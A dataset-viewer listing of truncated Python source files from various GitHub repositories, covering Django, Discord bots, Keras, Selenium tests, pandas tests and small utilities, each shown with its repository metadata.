03fab0a9c754d5052f140abd4b69c247baa784f5 | acbdf6089c248d1719f95208cbb43a9bcb4a2631 | /alatool/forms.py | cd9bd264f27be45bf682b00d2612a8aa5920e276 | [] | no_license | yoshi-ashi/alatool | 0c8aed13565598024181218b3d80de18d75c651f | d39cfa9cde9e0a70c54cede5ff4522c73d11e623 | refs/heads/master | 2022-12-26T23:15:45.328771 | 2020-09-25T06:42:57 | 2020-09-25T06:42:57 | 296,534,482 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 698 | py | from django.forms import ModelForm
from .models import MatchRecord
from django import forms
class DateInput(forms.DateInput):
input_type = 'date'
class TextAreaInput(forms.DateInput):
input_type = 'textarea'
class SampleForm(ModelForm):
class Meta:
model = MatchRecord
fields = [
... | [
"yshstny102@gmail.com"
] | yshstny102@gmail.com |
a94e1bb1dc306e6a03ea0107933cb542bdaea003 | 50671b3e4e8ed7e9702c9941bb71fdbf92dffbe6 | /src/cogs/events.py | 0b28700d34057dbeef8be93aeb3c40ea8a08314b | [] | no_license | pikoUsername/Emulator | 3dd67d0d3934c2ec9283b9b52edebec31c654326 | 96e6563c7cbcea051e4e41a377d917a2a9f5528a | refs/heads/main | 2023-02-27T22:42:43.154987 | 2021-02-09T14:51:56 | 2021-02-09T14:51:56 | 321,045,486 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,199 | py | import os
import sys
from discord.ext import commands
from discord.ext.commands import errors
import discord
from loguru import logger
from ..models import Guild
from ..utils.notify import notify_all_owners
class DiscordEvents(commands.Cog, name="Events"):
__slots__ = "bot",
def __init__(self, bot):
... | [
"galymzhan.amantaj@gmail.com"
] | galymzhan.amantaj@gmail.com |
bac7da100bdffb4311f4f9773f9d16c5da4d46e5 | 6e3843071082065f7ab638af2928813be44ad97b | /virtual/lib/python3.6/site-packages/django/db/models/options.py | b64987a3a0ea3f486ba438a28eabd553908ce7e6 | [
"MIT",
"BSD-3-Clause"
] | permissive | Ingabineza12/awwwards | ebf3d8e21662d491b78ee5db28543e7a09ca8f0a | 5fe83ed0820e47617f32b28a3f6f5e5a4f27e47b | refs/heads/master | 2023-02-22T10:23:33.887887 | 2021-01-25T07:37:47 | 2021-01-25T07:37:47 | 331,918,339 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 36,854 | py | from __future__ import unicode_literals
import copy
import warnings
from bisect import bisect
from collections import OrderedDict, defaultdict
from itertools import chain
from django.apps import apps
from django.conf import settings
from django.core.exceptions import FieldDoesNotExist
from django.db import connection... | [
"ingabineza@gmail.com"
] | ingabineza@gmail.com |
e9aea849891f25c699869356243ba071ec8daf04 | 3aabf076ca0f31c69948ccb34151488bec6e1e3e | /terra/classifier.py | 16ead567f316c48b3749cc50ebe244812ab24d0c | [
"MIT"
] | permissive | siddharthvaria/GI-DL | 2e4af5dada42cefaa8e19137963b0a4675025011 | 715b5fe4426d737ed1b23ffbb812058a90433682 | refs/heads/master | 2021-09-14T16:07:41.572158 | 2018-05-15T22:39:20 | 2018-05-15T22:39:20 | 94,111,739 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,968 | py | from keras.models import Model, load_model
from keras.layers import Input, LSTM, Dense, RepeatVector
# autoencoder/encoder + classifier for tweets
class Classifier:
def __init__(self, timesteps, input_dim=1, latent_dim=100,
elayers=3, dlayers=3, clayers=3):
ainputs = Input(shape=(timesteps... | [
"fl2301@columbia.edu"
] | fl2301@columbia.edu |
6fc2e9842a862e151818555c40bd68c1fe986ae7 | aa5d98396184ab9dc479075b37a3664c385de027 | /tests/selenium/breadcrumb_test.py | 8ae1041e04352b0b8d70180fdda1d4cfface3872 | [
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | uk-gov-mirror/ONSdigital.sbr-ui | c6a66cd6982e9e98a991eadbb8cef0f1fb6ba2bf | 48bbfdc59e393dd4d2d008b8414ac96d2e2be44f | refs/heads/master | 2021-10-12T00:02:34.160448 | 2018-10-17T14:59:04 | 2018-10-17T14:59:04 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,910 | py | import unittest
from selenium import webdriver
from tests.helper_methods import create_selenium_config
from tests.constants import BASE_URL, SEARCH_URL
from tests.constants import ENTERPRISE, LOCAL_UNIT, REPORTING_UNIT, LEGAL_UNIT, COMPANY_HOUSE, VALUE_ADDED_TAX, PAY_AS_YOU_EARN
from tests.constants import BREADCRUMB... | [
"noreply@github.com"
] | uk-gov-mirror.noreply@github.com |
bd05dc4876b69bf2451ecc467039d32ee79a19ed | 0862376b2318c42efa3498dda41c73ecbdbf2ac3 | /scripts/preprocess.py | 54077b0a7f0cb04a4a1eee90e1322e2d46f140c6 | [] | no_license | njkbarry/context-rcnn-d2 | 96e2f9a0dbbe4a2b54bce403e5f4d0054aa46509 | c3e1f6b208962334763c3364dc107387a2bc3e94 | refs/heads/main | 2023-04-06T17:02:13.536520 | 2021-04-06T18:03:56 | 2021-04-06T18:03:56 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,024 | py | import argparse
import os
import torch.multiprocessing as mp
from detectron2.config import get_cfg
from detectron2.engine import default_setup
from context_rcnn.config import add_context_rcnn_config
from context_rcnn.preprocess import build_banks, build_one_bank
# relative to models-dir
_MODELS = {
# 1-class mo... | [
"justinkay92@gmail.com"
] | justinkay92@gmail.com |
4e5e39b356cbb7a91503ee349dcc94df9ee9b50b | d6dfbd6251ee3f75d0f304930b406d8504f52f9d | /ds_discovery/intent/abstract_builder_intent.py | d1c46ba84752536a1d383292b0e10a73abbc1299 | [
"BSD-3-Clause"
] | permissive | bpandey-CS/discovery-transition-ds | 974fd5e4bd99ec0993ffe23530e17413ba50c59a | 08229ca3b7617b42ce2dd8e47ff93876c0843810 | refs/heads/master | 2023-05-31T03:20:07.185204 | 2021-06-29T16:35:59 | 2021-06-29T16:35:59 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 131,319 | py | import ast
import time
import numpy as np
import pandas as pd
from copy import deepcopy
from typing import Any
from matplotlib import dates as mdates
from scipy import stats
from aistac.components.aistac_commons import DataAnalytics
from ds_discovery.components.transitioning import Transition
from ds_discovery.compone... | [
"darryl@aistac.net"
] | darryl@aistac.net |
faec0609802a89c78e7a68440c366cb65f7aae9e | dfd312b460385d72721389ee337ef4ca63af9106 | /Craftgame/example_mod.py | 99790525c9a94e41eb10f73ca4b9f0e5c9212584 | [] | no_license | Alex2772/Craftgame | 1e7b04242f274099668fb5aa99976d67c0c415d2 | 7c13a585da4ee00242113f851ad3d38a9e26c3b5 | refs/heads/unstable | 2021-10-24T17:36:36.163729 | 2021-09-26T14:05:01 | 2021-09-26T14:05:01 | 138,429,074 | 13 | 6 | null | 2019-11-26T21:24:19 | 2018-06-23T19:46:45 | C++ | UTF-8 | Python | false | false | 259 | py | import cge
import logger
@cge.CGEMod("My mod", "mm", "1.0.0")
class MyMod:
def __init__(self):
#cge.registerEventHandler(self, self.render_screen, "craftgame:render_screen_bg/pre")
cge.connectToServer("alex2772.ru", 24565)
def init():
mod = MyMod() | [
"alex2772sc@gmail.com"
] | alex2772sc@gmail.com |
270da1094f20a8b3a2a9eb8995a7b33d8f52109a | c7851c362e66d23690783844828a5f82f3626d11 | /solution/web/add_sign.py | 09009d03ba437f6a3068e08426a070eeef3c6e8d | [] | no_license | obydenkova/Aviahackathon2021 | 194aff7b545e0b3882a96a55e0204ae3f844a542 | b6972a1aca842a707f61d53c1d4f40f68fb0335f | refs/heads/main | 2023-04-22T16:18:21.854554 | 2021-05-04T21:47:07 | 2021-05-04T21:47:07 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 811 | py | from docxtpl import DocxTemplate, InlineImage
import logging
def sign_doc(name):
name_of_doc = "../docx_template/consent_personal_data_" + name + ".docx"
doc = DocxTemplate(name_of_doc)
logging.info(name_of_doc + " opened")
sign_img = InlineImage(doc, 'signature_resized.png')
context = {'... | [
"noreply@github.com"
] | obydenkova.noreply@github.com |
23203158c06d57c816948414563a0d3b5f88c812 | 9633d418f303db848a8aac382ecb74fd0d9361d4 | /foreigncurrency/settings.py | 5b90311fe343a7f072a7a6fd045cbedd8a36a648 | [] | no_license | carolinasitorus/foreign-currency | 0638d286268912cdf9843fd25138752c396a6331 | 6259bb8eafb2966920adbf29949673484ca2bcb7 | refs/heads/master | 2020-03-24T04:37:10.936250 | 2018-07-31T19:02:01 | 2018-07-31T19:02:01 | 142,459,228 | 0 | 1 | null | 2018-07-31T18:59:51 | 2018-07-26T15:23:11 | Python | UTF-8 | Python | false | false | 4,051 | py | """
Django settings for foreigncurrency project.
Generated by 'django-admin startproject' using Django 2.0.7.
For more information on this file, see
https://docs.djangoproject.com/en/2.0/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.0/ref/settings/
"""
impo... | [
"if413061@gmail.com"
] | if413061@gmail.com |
9c2a49341bff6195b8066667d535d7894be629e7 | e5b9aa2aeca511d36ea5c87b9fbbb8929b7d8f5b | /anki.py | 20c0f250ca2aa6b3f7232cb140a05204394b2d56 | [] | no_license | ShinobuCR/anki-google-docs | 763f91f12f7ce8f0f986256b6eaf6ce999172d29 | 40414e8d41cba0f4aa25d2edc3edb56dda9aa97e | refs/heads/master | 2023-05-13T11:08:39.381755 | 2021-06-06T10:22:45 | 2021-06-06T10:22:45 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,000 | py | import json
import requests
def add_note(front, back):
payload = {
"action": "addNote",
"version": 6,
"params": {
"note": {
"deckName": "Programming",
"modelName": "Basic",
"fields": {
"Front": "front content",
... | [
"astepaniuk@tektelic.com"
] | astepaniuk@tektelic.com |
9dce25a25268b0696720b1ddd3a82be31b3a3856 | d25dd793bbcb9f852b619a7a99d815f3406eae30 | /NLP_Project_Sentiment_Classifier.py | 61bd773d748d5127e5c09f0e80eb87f605f6b086 | [] | no_license | Shakurova/MachineLearningAlgorithms | e84c185aa7a9ca123c8f40367a0c40565b84de58 | b8bf80e37112a4ea5e8732caa1a98c5c4e12f9a0 | refs/heads/master | 2020-06-11T22:15:49.255419 | 2017-03-22T14:17:59 | 2017-03-22T14:17:59 | 75,618,522 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,403 | py | # -*- coding: utf-8 -*-
import re
import pandas as pd
import numpy as np
from lxml import etree
import pymorphy2
from nltk.tokenize import TreebankWordTokenizer
from stop_words import get_stop_words
import gensim
import matplotlib.pyplot as plt
from sklearn.ensemble import ExtraTreesClassifier
from sklearn.linear_... | [
"noreply@github.com"
] | Shakurova.noreply@github.com |
5746c95db3d1ff247776069f75e98382299337bc | 007642d8c984efcaf6c294385c308834ac89c796 | /Project 12.py | 7fc5c2f89f5feb9182eb3f8faee65189f47dbf93 | [] | no_license | aluonimosi/PracticePython | 3fdc5792ba7d4c61a298b9a0cd025235cbb9036f | fbfbd1aeee4681800c7c2816e4b4f4777d994e65 | refs/heads/master | 2020-03-21T02:05:23.829701 | 2019-02-16T06:54:29 | 2019-02-16T06:54:29 | 137,978,965 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 327 | py | # Exercise 12
# Write a program that takes a list of numbers
# and makes a new list of only the first and last elements of the given list.
a = [5, 10, 15,15,2,5, 20, 25]
b=[]
b.append(a[0])
b.append(a[-1])
print (b)
# Inside a function
def first_and_last(a):
return [a[0], a[-1]]
first_and_... | [
"noreply@github.com"
] | aluonimosi.noreply@github.com |
1686425f660c555065ece78d6555dfa097dc6be1 | 1ffaa803ef08794a25cd0f74f738222bcd9f7e76 | /Python_Prog/while_loop.py | c12c55a6d485063e6c7e2bf1cffaca783ed49510 | [] | no_license | vysagh00/Python-programs | 75d188809eb1ae78eeb59f377ef24a06d13a9337 | c1b2b64115ebd46e91133109eb90dea60bd3a5b0 | refs/heads/main | 2023-08-26T12:34:00.783796 | 2021-10-28T16:59:40 | 2021-10-28T16:59:40 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 69 | py | sum=0
i=0
while i<=10:
sum += i**3
i += 1
print(sum) | [
"noreply@github.com"
] | vysagh00.noreply@github.com |
57e0b43bd157f5140c109b02d53b65caeebdb426 | c9ddbdb5678ba6e1c5c7e64adf2802ca16df778c | /cases/synthetic/sieve-big-7747.py | 21059574743466a564b66ececa453e5f67f1165b | [] | no_license | Virtlink/ccbench-chocopy | c3f7f6af6349aff6503196f727ef89f210a1eac8 | c7efae43bf32696ee2b2ee781bdfe4f7730dec3f | refs/heads/main | 2023-04-07T15:07:12.464038 | 2022-02-03T15:42:39 | 2022-02-03T15:42:39 | 451,969,776 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 31,474 | py | # A resizable list of integers
class Vector(object):
items: [int] = None
size: int = 0
def __init__(self:"Vector"):
self.items = [0]
# Returns current capacity
def capacity(self:"Vector") -> int:
return len(self.items)
# Increases capacity of vector by one element
def incr... | [
"647530+Virtlink@users.noreply.github.com"
] | 647530+Virtlink@users.noreply.github.com |
6e98f496de001b623f1d7d4423e52d8f9cfe8f9a | ed30efbe1d307f9a4428f5343d43334e9cfebc9f | /payment_system/wsgi/__init__.py | d92895c9f675d1a7f83ae96ecf833c1253fd84bf | [] | no_license | Frumlen/payment_system | 409a95a44284ad8c805bd00f68bff3830cf2d535 | dd3504aa02ec4268f2c1419ea5e4febcb9427adb | refs/heads/master | 2020-05-19T10:05:53.416289 | 2019-05-15T14:27:00 | 2019-05-15T14:27:00 | 184,964,347 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,259 | py | """WSGI config for payment_system project.
This module contains the WSGI application used by Django's development server
and any production WSGI deployments. It should expose a module-level variable
named ``application``. Django's ``runserver`` and ``runfcgi`` commands discover
this application via the ``WSGI_APPLICAT... | [
"m.medzhidov@paymo.ru"
] | m.medzhidov@paymo.ru |
7c51fe984072915a490d61a51cb82390d3d7985c | 4a7c8970f6f2fa9449bc4476f0ff105630ec79e2 | /les03/practise exercise3_3.py | 9bae97b2a4624cb6b55ed8790ad2ce0e76ef2b3d | [] | no_license | hiddeagema/programming | b3e5f676301bb46073d7ca14d06ae8799cbff47f | f893518ccd8f15a69078902844cd67563ab42cd7 | refs/heads/master | 2021-05-16T12:21:41.649797 | 2017-11-10T16:10:14 | 2017-11-10T16:10:14 | 105,266,092 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 253 | py | leeftijd = eval(input('Wat is je leeftijd: '))
paspoort = input('ben je in het bezit van een nederlans paspoort?: ')
if leeftijd >= 18 and paspoort == 'ja':
print('gefeliciteerd, je mag stemmen!')
else:
print('helaas, je mag nog niet stemmen!')
| [
"hiddeagema@hotmail.com"
] | hiddeagema@hotmail.com |
ce31008417794c43ba2ba1e3cb618506de4eb633 | 69039ed1289d09420f425e21f4d370ccb531bb7b | /script.py | 46cba30ab41cbbe07072da03a0fe971d35990f30 | [] | no_license | ev1lm0rty/Dorky | 38274a0df19d8ad62887bd164cd01c46aeeec46a | 5846d4485cda6e988ba0b5367118c3106bb60f0c | refs/heads/master | 2023-03-31T06:43:41.099409 | 2021-04-08T14:18:31 | 2021-04-08T14:18:31 | 338,312,959 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,555 | py | #!/usr/bin/python3
import argparse
import time
import sys
from apiclient.discovery import build
def banner():
print("-"*50)
print("DORKY by ev1l._.m0rty")
print("https://github.com/mrjoker05")
print("-"*50)
print()
def query(query , api , cse , f):
try:
s = build("customsearch" , "v1"... | [
"morty@localhost"
] | morty@localhost |
ce491302ad4795ecae1138b676b7361bc5a55e19 | b54ca0d79c2a3ea601b4d13b055845835dbda696 | /src/module6.py | d69113ba57778ff7b4e467941e3fb43b45867167 | [] | no_license | lucasp0927/python_numerical_project | 7355ddcc64d123103b6d3fa14d5ca4d8d4053057 | 923f4229b8182f53b60df1436ea65bf1298cefdd | refs/heads/master | 2020-05-17T18:12:19.035506 | 2011-06-26T17:44:50 | 2011-06-26T17:44:50 | 1,919,354 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 951 | py | '''Module 6: exact solution
'''
import numpy as np
import scipy as sp
import scipy.integrate as inte
def exactSol(Amp, w, x0,v0,t0,x_int):
with open('param.in') as fin:
for line in fin:
data=line.split()
a0=float(data[0])
a1=float(data[1])
a2=float(data[2])
... | [
"lucasp0927@gmail.com"
] | lucasp0927@gmail.com |
0ac07e17df6cc7bc9ae4c5d0f646c6f125e05474 | 7fce2bdb66b00f2cf7f5df5082de27941fae4e26 | /src/model.py | e621a311f44b6a498e10ff2d25313cfaf59ed391 | [] | no_license | hqdang/HTR-using-Pytorch | e3352de678cbc17b13d3bda349e9532f9cd23cea | 4478efb6c55fd5612f8a241d20a00a9c04471abe | refs/heads/master | 2020-05-20T17:18:45.361569 | 2019-05-21T00:18:16 | 2019-05-21T00:18:16 | 185,685,959 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,483 | py | from __future__ import division
from __future__ import print_function
import sys
import numpy as np
import cv2
import torch
import torch.nn as nn
import torch.optim as optim
from torch.optim import lr_scheduler
import torchvision
from torchvision import datasets, models, transforms
from DL import DataLoader, Batch
imp... | [
"noreply@github.com"
] | hqdang.noreply@github.com |
54819c2945e27291a240ea27cec05786e14d8569 | fd67c272b56eb6386e6e7e086c07616acdaa65b0 | /Medic.py | ba276016a14278c0c369fcac7b095d59f79e98b3 | [
"MIT"
] | permissive | KToshiki-umi/Cuidemic | 1894d7772012545ddcac2f91372e084d6fa72a4a | 6f98d3d4c955fc298d1a4e31270a0e0ecc3d6752 | refs/heads/master | 2021-01-10T16:44:36.164847 | 2015-10-06T16:32:47 | 2015-10-06T16:32:47 | 43,758,174 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,149 | py | #! /usr/bin/python
# --*-- coding:utf-8 --*--
"""
Medic.py
Copyright (c) 2015 Toshiki Koizumi
This software is released under the MIT License.
http://opensource.org/licenses/mit-license.php
"""
#v.1.01
from Player import Player
class Medic(Player):
def __init__(self):
Player.__init__(self)
sel... | [
"cb400f.4four@gmail.com"
] | cb400f.4four@gmail.com |
a485ba789e4cb165a9a47651c00c9cbcc5044881 | 786de89be635eb21295070a6a3452f3a7fe6712c | /DmMover/trunk/src/db_access.py | 19e93a9e3957ed724ec3652b8cbbf6c793bb70c5 | [] | no_license | connectthefuture/psdmrepo | 85267cfe8d54564f99e17035efe931077c8f7a37 | f32870a987a7493e7bf0f0a5c1712a5a030ef199 | refs/heads/master | 2021-01-13T03:26:35.494026 | 2015-09-03T22:22:11 | 2015-09-03T22:22:11 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 14,292 | py | #!/usr/bin/python
# ------------------------------------------------------------------
# Find below utilities needed by the ONLINE-to-Lustre data migration
# service.
# ------------------------------------------------------------------
import sys
import time
import MySQLdb as db
__host = None
__user = None
__pas... | [
"wilko@SLAC.STANFORD.EDU@b967ad99-d558-0410-b138-e0f6c56caec7"
] | wilko@SLAC.STANFORD.EDU@b967ad99-d558-0410-b138-e0f6c56caec7 |
a13219e7f39522f7f2bea3f80984f92ffcc1dbc2 | 3afc3b2a2095850503b45424df99da92cc9f3d5c | /app/task/taskManage.py | 29fb5091c7bb03d6bc312b1c42ad3165a3e42868 | [] | no_license | sinly2/TestRequests | 9b5d04cd11bae8de7d9a4dcb0fa43fc01f8eed3c | 166d96597882790507d0d47d6c2e0093e6b31bfd | refs/heads/master | 2021-05-04T06:57:42.529883 | 2017-05-17T09:36:28 | 2017-05-17T09:36:28 | 70,552,880 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 424 | py | # -*- coding: utf-8 -*-
'''
Created on Sep 28, 2016
@author: guxiwen
'''
import sys
sys.path.append('/root/project/TestRequests')
from addRequests import addRequests
def add_requests():
addRequests.init_redis()
to_do_list = addRequests.update_svn()
print len(to_do_list)
if len(to_do_list) <> 0:
... | [
"15380794704@163.com"
] | 15380794704@163.com |
04c1a8bc7d8b937d6cb99fc02d853e50adaabd16 | c8cfc261d790377bedb57599c7e4e9b4a6ee60a1 | /souvenirs/tests/test_utils.py | a12b76c699ae3322d62aafd6ee1631f43c687d64 | [
"MIT"
] | permissive | amygriffis/django-souvenirs | aa5a894b1dab7df83df4dd03bc4abcbf6773d59a | 9aca31dd46f7433898926bd7e2f99ca4a01171f2 | refs/heads/master | 2021-01-18T23:42:48.307210 | 2017-04-03T14:40:04 | 2017-04-03T14:41:00 | 87,123,673 | 0 | 0 | null | 2017-04-03T21:43:01 | 2017-04-03T21:43:01 | null | UTF-8 | Python | false | false | 4,601 | py | from __future__ import absolute_import, unicode_literals
from datetime import datetime
import types
from django.utils import timezone
from souvenirs.utils import (adjust_to_calendar_month,
adjust_to_subscription_start,
iter_months, next_month, nearest_dom)
de... | [
"aron@scampersand.com"
] | aron@scampersand.com |
996c636d778f2142359b3fb35a9efac1f9340a3a | 237d2d03f83b0a5c3a8927c316d064f674ef804b | /ctf/22_fbctf/overfloat/dist/exploit.py | e6b2f5b0febcdfda67c1e575a3345eeafd9933c6 | [] | no_license | bachzz/CTF-for-fun | 5f0d3bf289b92b489bc2c79c1c0af0de88ad23de | ea6e7d8b178e7b294af58c037dc477c368da0a82 | refs/heads/master | 2022-02-12T21:59:45.022883 | 2019-07-02T16:22:20 | 2019-07-02T16:22:20 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,183 | py | from pwn import *
import struct
e = ELF("./overfloat")
libc = ELF("./libc-2.27.so")
#p = process("./overfloat")
p = remote("challenges.fbctf.com", 1341)
for symbol in e.symbols:
#if "system" in symbol or "bin" in symbol:
print symbol, hex(e.symbols[symbol])
print p.recv()
pop_rdi = int("0x400a83", 16)
pop_rdi_ieee... | [
"ngb1998@gmail.com"
] | ngb1998@gmail.com |
4e2fbfe28081ebcc9310ed6d899d397b27753623 | d700521a2b1320c8f74789a98872da92495b143d | /PythonProjectsV3/Online/__init__.py | 0621de907bc3f162d944efb1855c1b590c28ceb5 | [] | no_license | JiangYingyan/QAASproject | cf53a2971ccc75418de25cd98dbf344ebd03ae7b | 51784f8ad660e8a50bdeeb62bd140116913e27d2 | refs/heads/master | 2020-03-19T03:02:31.622846 | 2018-07-06T07:17:50 | 2018-07-06T07:17:50 | 135,688,125 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 40 | py | from Online.OnlineTest import OnlineTest | [
"790568256@qq.com"
] | 790568256@qq.com |
ed06089dee606af4dbf1e8c334d5ed842f26537e | 8f1699af1238f91673362db6cbe454d1fd2bbd8a | /tests/dummy_test.py | a6ed9bd2fc4d95d10786377043b53b02d1fc1eea | [] | no_license | vttta/pyTest | 9f9c204d4f4e574acbbed9009c8769ce91ce640b | 6726dae4d52b8d5ab2deceaf69952ff5f37a2a7d | refs/heads/master | 2021-04-23T17:19:06.087874 | 2020-04-02T11:26:13 | 2020-04-02T11:26:13 | 249,943,074 | 0 | 0 | null | 2020-03-25T10:00:04 | 2020-03-25T10:00:03 | null | UTF-8 | Python | false | false | 42 | py | def test_hello_world():
assert 1 == 1
| [
"58547432+vttta@users.noreply.github.com"
] | 58547432+vttta@users.noreply.github.com |
12f0786b5f49225d91f4716887fc6a11e4f11270 | 8233c671aa362e83ca909dd41857b653ecb58fba | /test_pandas_series.py | f9bdc94e04892b5d6a9eb93fad0c8ef95ca0ef0a | [] | no_license | rheehot/python-test-driven-learning | 7f3e029d7ace1c605e65955a0c823d1f58db03b1 | 443a3422d8407208a7c3e58d05fac95e3f0da65a | refs/heads/master | 2022-12-19T13:53:29.367545 | 2020-09-29T20:45:29 | 2020-09-29T20:45:29 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,285 | py | import pandas as pd
import numpy as np
def assert_array_equal(arr1, arr2):
if not np.array_equal(arr1, arr2):
raise ValueError("{} is not {}".format(arr1, arr2))
def test_isin():
s = pd.Series([1, 2, 2, 3, 3, 3])
assert_array_equal(s[s.isin([1, 2])].values, [1, 2, 2])
assert_array_equal(s[~... | [
"hammerha@gmail.com"
] | hammerha@gmail.com |
9a299405d30a0333140420faa7903f510448041f | 568b96af7b2a56adf286d0aeafa2d5cf4f2a6d28 | /test.py | 1da3c2ca0d870052c1d87ba4dbe67dfa098bbb2a | [
"MIT"
] | permissive | wisehackermonkey/Generator_20200324_simplified_regex | 4995914873ffe81212838f079cac2186d0eae9b9 | 58931a5ab1e74a9d9f207e40494106fb86f048b9 | refs/heads/master | 2021-10-27T08:37:58.793025 | 2021-10-25T17:19:37 | 2021-10-25T17:19:37 | 249,739,872 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,814 | py | # simple test function code, NOTE:does not do validation
# by oran collins
# 20200329
from generator import generator
gen = generator("[1-255].[1-255].[1-255].[1-255]")
print(gen.get())
def formater(func,_string):
if len(_string) <= 0:
print(f"{func.__name__:<30}: {_string:<30} => {func()}")
else:
... | [
"oranbusiness@gmail.com"
] | oranbusiness@gmail.com |
c0f489053bc19e46cc9591c80711baca3f3cf93f | 54cacbd6256be3f0a1b0eb06c601f363950e767c | /api/migrations/0002_auto_20201120_1633.py | 496ebb4b3af4e85a0afbbd5777e8da36c0bb780b | [] | no_license | mballard29/SocialSounds | 5cf6b95307738579e80be17b4dc8139b4b208c3f | a714d0add93514fe438d0dde22f27991aaba5cf9 | refs/heads/master | 2023-02-17T16:27:02.168391 | 2021-01-15T03:52:39 | 2021-01-15T03:52:39 | 329,802,306 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 435 | py | # Generated by Django 3.1.2 on 2020-11-20 21:33
from django.conf import settings
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('api', '0001_initial'),
]
operations = [
migratio... | [
"mmballard29@gmail.com"
] | mmballard29@gmail.com |
6728b778e2b562d80d8e1f4363423e23a764180f | dc6d30bd1364fa9946a1fd7af61a4ce9c98dbc64 | /py-set-discard-remove-pop/solution.py | e4e4613da8cbd1bea32e405dfbdd14fb58e4f38d | [] | no_license | tamarit/hackerrank_phyton | 4ff072fc913d33c2bb6d238fbf062a5333d009a2 | 7c3464903d96cdbf67dd9eacd64985f4e1f828ae | refs/heads/master | 2021-01-01T18:19:35.327850 | 2017-08-17T09:43:01 | 2017-08-17T09:43:01 | 98,305,564 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 367 | py | # https://www.hackerrank.com/challenges/py-set-discard-remove-pop
n = int(input())
s = set(map(int, input().split()))
m = int(input())
for i in range(0, m):
cmd = input().strip().split()
{
'remove':
lambda:
s.remove(int(cmd[1])),
'discard':
lambda:
s.discard(int(cmd[1])),
'pop':
lamb... | [
"stamarit@software.imdea.org"
] | stamarit@software.imdea.org |
c81197fbccf4610700ff45258fd352c524487cef | a5fc03760df101bf4c23dd5635bd59767ce9e138 | /lc/containerWithMostWater.py | d970fbd38f1ff13158a549a61cf340483e388c4d | [] | no_license | MG11/DSA | cbb619f3d6fe772916fc1856d37edb7e2a82b664 | 5dc3a46ddfde5e1f813be9517cf75a94a4ec43f6 | refs/heads/master | 2023-04-20T07:34:28.098078 | 2021-05-08T17:36:06 | 2021-05-08T17:36:06 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,150 | py | #Given n non-negative integers a1, a2, ..., an , where each represents a point at coordinate (i, ai).
# n vertical lines are drawn such that the two endpoints of the line i is at (i, ai) and (i, 0).
# Find two lines, which, together with the x-axis forms a container, such that the container contains the most water.
#In... | [
"sankalp@webintensive.com"
] | sankalp@webintensive.com |
57bbbc48c3df90ccafc6950aeac2051d238a1105 | acc8fa05cc49775fdf13c3d34177cbec8d2349a3 | /main/migrations/0009_auto_20190513_0742.py | 290562864b54ddd944e4c66181e2258d2e583a85 | [] | no_license | beatSpatial/paf_lite | f2bd6452b4c33740e2af94ac2f4056808c064117 | 37ed29f33483ff10b74e230e6de7a45231086a4e | refs/heads/master | 2023-05-02T12:31:00.609020 | 2019-06-11T20:42:14 | 2019-06-11T20:42:14 | 188,784,489 | 0 | 0 | null | 2023-04-21T20:33:27 | 2019-05-27T06:31:54 | Python | UTF-8 | Python | false | false | 908 | py | # Generated by Django 2.2 on 2019-05-13 07:42
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('main', '0008_rating_student'),
]
operations = [
migrations.AlterModelOptions(
name='rating',
... | [
"abeatson411@gmail.com"
] | abeatson411@gmail.com |
71dbbc03c5f68546fa67b47b295fd61eefcc15bd | 6edf174b5b94c65e5caea4e32ce819492b875c38 | /Django/ajax_demo/apps/demo_app/views.py | 7d8ab1e482243e1134752bbd184add9bd77e6970 | [] | no_license | sec2890/Python | fc7f27f9d89962f26b1e318499235b0148394422 | 6796b3048fe11280fd81f7abed49f900fd34d518 | refs/heads/master | 2020-06-09T07:34:57.698322 | 2019-06-23T23:22:04 | 2019-06-23T23:22:04 | 193,401,872 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,036 | py | from django.shortcuts import render, HttpResponse, redirect
from django.contrib import messages
from .models import *
from django.core import serializers
def index(request):
return render(request, "demo_app/index.html")
def all_json(request):
users = User.objects.all()
users_json = serializers.s... | [
"noreply@github.com"
] | sec2890.noreply@github.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.